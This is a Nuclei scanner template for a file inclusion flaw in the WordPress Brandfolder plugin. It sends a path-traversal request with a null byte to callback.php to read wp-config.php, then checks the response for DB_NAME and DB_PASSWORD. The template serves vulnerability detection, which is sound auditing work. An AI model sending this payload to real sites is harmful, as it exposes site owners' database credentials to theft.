id: brandfolder-lfi

info:
  name: Wordpress Brandfolder - Remote/Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Brandfolder allows remote attackers to access arbitrary files that reside on the local and remote server and disclose their content.
  reference:
    - https://www.exploit-db.com/exploits/39591
    - https://cxsecurity.com/issue/WLB-2016030120
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,rfi,edb,wordpress,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220145e50e5dafdd9a684e1323281cdcca50e9a539419c7816af9a4f22115fadd06022100f02f1ffa5ed3430b57f903c53f16379fce0d78f7fc210634cba2a7a83ba67175:922c64590222798bb761d5b6d8e72950